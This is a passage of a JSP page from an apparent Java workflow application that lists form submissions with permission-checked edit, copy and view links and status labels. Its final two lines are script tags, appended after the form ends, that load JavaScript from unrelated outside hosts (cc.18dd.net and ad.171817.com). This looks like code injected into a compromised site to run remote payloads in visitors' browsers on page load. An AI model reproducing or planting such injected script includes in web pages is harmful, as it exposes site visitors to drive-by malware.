  <layout:pager form="listFormSubmissionForm" name='<%=SAVE_DRAFT_LIST_NAME%>'>
   <div class="statement"><layout:pagerInfo/></div>
   <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>


<!-- **********************-->
<br>
<table width="100%" style="padding-bottom:1px;">
<tr>
	<td class="sectionTitle">
		<bean:message key='form.label.submission_list'/>:
	</td>
</tr>
<tr>
	<td>
<div class="sectionLine" style="margin-left:2px;">&nbsp;</div>
</td>
</tr>
</table>


<!-- Table Showing Record List Begin -->
<layout:listBar>
    <div class="button">
      <logic:permission right='D'>
          <logic:empty name='listFormSubmissionForm' property='workflowRecordID'>
              <html:colheaderButton label="common.label.delete" onClick="return OpCustListDelete1(listFormSubmissionForm)"/>
          </logic:empty>
          <logic:notEmpty name='listFormSubmissionForm' property='workflowRecordID'>
              <html:colheaderButton label="common.label.delete" disable="true"/>
          </logic:notEmpty>
       <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
       <html:colheaderButton label="common.label.delete" disable="true"/>
       </logic:permission>
    </div>
    </layout:listBar>
<div id="submissionList" class="listTable">
<table width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSubmitSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSubmitSortOrder()%>" copyColumn='true' checkColumnNo='1' showListCount='1' />
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=SUBMISSION_LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <%
  List wfRelationRowList = (List)((FormSubmission)formSubmission).getWorkflowRelationshipList();
  com.dcivision.workflow.bean.WorkflowRecord wfRecord = null;
  if (!Utility.isEmpty(wfRelationRowList)) {
    wfRecord = (com.dcivision.workflow.bean.WorkflowRecord)((Object[])wfRelationRowList.get(0))[0];
  }
  %>
  <tr onmousedown="SetTableRowColor1(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">
    <td align="center" width="20">
      <logic:permission right='D'>
        <logic:empty name='formSubmission' property='workflowRecordID'>
        <input type="checkbox" name="basicSelectedID1" value="<bean:write name='formSubmission' property='ID'/>" onclick="return(false);">
        </logic:empty>
        <logic:notEmpty name='formSubmission' property='workflowRecordID'>
         <!-- <input type="hidden" name="basicSelectedID1" value="-1"> --><html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
        </logic:notEmpty>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <!-- <input type="hidden" name="basicSelectedID1" value="-1"> --><html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center" width="20">
 <%if ((Utility.isEmpty(((FormRecord)formRecord).getEndDate()) || "null".equals(((FormRecord)formRecord).getEndDate())) ||(!Utility.isEmpty(((FormRecord)formRecord).getEndDate()) && currTime.before(((FormRecord)formRecord).getEndDate()) )){%>
    <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
      <logic:permission right='E'>
      <% if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=E&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconEdit.gif'  align='absmiddle'/></a></logic:equal><logic:notEqual name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><html:img src='IconEditDisable.gif'  align='absmiddle'/></logic:notEqual>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {%>
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=E&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconEdit.gif'  align='absmiddle'/></a></logic:equal><logic:notEqual name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><html:img src='IconEditDisable.gif'  align='absmiddle'/></logic:notEqual>
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}else{%>
      <logic:permission right='E'>
      <% if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><a href="MaintFormSubmission.do?navMode=E&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconEdit.gif'  align='absmiddle'/></a></logic:equal><logic:notEqual name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><html:img src='IconEditDisable.gif'  align='absmiddle'/></logic:notEqual>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {%>
      <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><a href="MaintFormSubmission.do?navMode=E&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconEdit.gif'  align='absmiddle'/></a></logic:equal><logic:notEqual name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'><html:img src='IconEditDisable.gif'  align='absmiddle'/></logic:notEqual>
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}%>
 <%}else{%>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
 <%}%>
    </td>
    <td align="center" width="20">
    <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
      <logic:permission right='E'>
      <% if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=C&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {%>
      <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=C&trackID=<%=((FormSubmission)formSubmission).getTrackID()%>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&step=N&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}else{%>
      <logic:permission right='E'>
      <% if (!Utility.isEmpty(wfRecord)) {%>
      <wfm:permission right='W' workflowRecord="<%=wfRecord%>">
      <a href="MaintFormSubmission.do?navMode=C&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </wfm:permission>
      <%} else {
         if (Utility.isEmpty(formRecord.getWorkflowList())) {%>
           <a href="MaintFormSubmission.do?navMode=C&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
         <% } else { %>
           <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
           <%} %>
      <%}%>
      <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    <%}%>
    <td align="center" width="30">
    <%if (!Utility.isEmpty(formRecord.getFormDocID())){%>
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=V&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&type=listFormSubmissionDetail&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconView.gif'  align='absmiddle'/></a>
    <%}else{%>
        <a href="MaintFormSubmission.do?navMode=V&trackID=<bean:write name='formSubmission' property='trackID'/>&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMSUBMISSION&functionFrom=listFormSubmissionDetail&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>"><html:img src='IconView.gif'  align='absmiddle'/></a>
        <%}%>
    </td>
    <td width="300"><bean:write name='formSubmission' property='updaterName'/>
    <%
      List wfRelationRow = (List)((FormSubmission)formSubmission).getWorkflowRelationshipList();
      for (int x = 0; x < wfRelationRow.size(); x++) {
        com.dcivision.workflow.bean.WorkflowRecord wfRec = (com.dcivision.workflow.bean.WorkflowRecord)((Object[])wfRelationRow.get(x))[0];
        Integer trackID = (Integer)((Object[])wfRelationRow.get(x))[1];
        String wfMsg = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.related_to_workflow", wfRec.getWorkflowCode() + " - " + wfRec.getDescription() + " (" + wfRec.getWorkflowVersion() + ")"));
        %><a href="#" onmouseover="return getPopupInfo('<%=wfMsg%>')" onmouseout="return nd()" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID=<%=wfRec.getID()%>&trackID=<%=trackID%>', 'DCIVisionWFRelation', 750, 500, 'scrollbars=yes')"><html:img src='IconWorkflowRelated.gif' /></a>
        <%
      }
      %>
     </td>
    <td><bean:write name='formSubmission' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
    <bean:message key='form.label.submission_status_S'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SUBMIT%>'>
    <bean:message key='form.label.submission_status_M'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_PENDING%>'>
    <bean:message key='form.label.submission_status_P'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_COMPLETED%>'>
    <bean:message key='form.label.submission_status_C'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_APPROVED%>'>
    <bean:message key='form.label.submission_status_A'/>
    </logic:equal>
    <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_REJECTED%>'>
    <bean:message key='form.label.submission_status_R'/>
    </logic:equal>
    </td>
  </tr>
    </logic:iterate>
    </table>
    </div>
  <!-- Record Looping End -->
<!-- Table Showing Record List End -->

 <div class="listStatusBar">
  <layout:pager form="listFormSubmissionForm" name='<%=SUBMISSION_LIST_NAME%>'>
   <div class="statement"><layout:pagerInfo/></div>
   <div class="sepBar"><layout:pagerIndex pagerIndexCount="1"/></div>
  </layout:pager>
  </div>
  <table>
     <tr>
         <td colspan="2" align="center"><html:img src='Spacer.gif'  width='1' height='25'/></td>
     </tr>
    </table>
 </div>
 </div>
</layout:tabContainer>
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>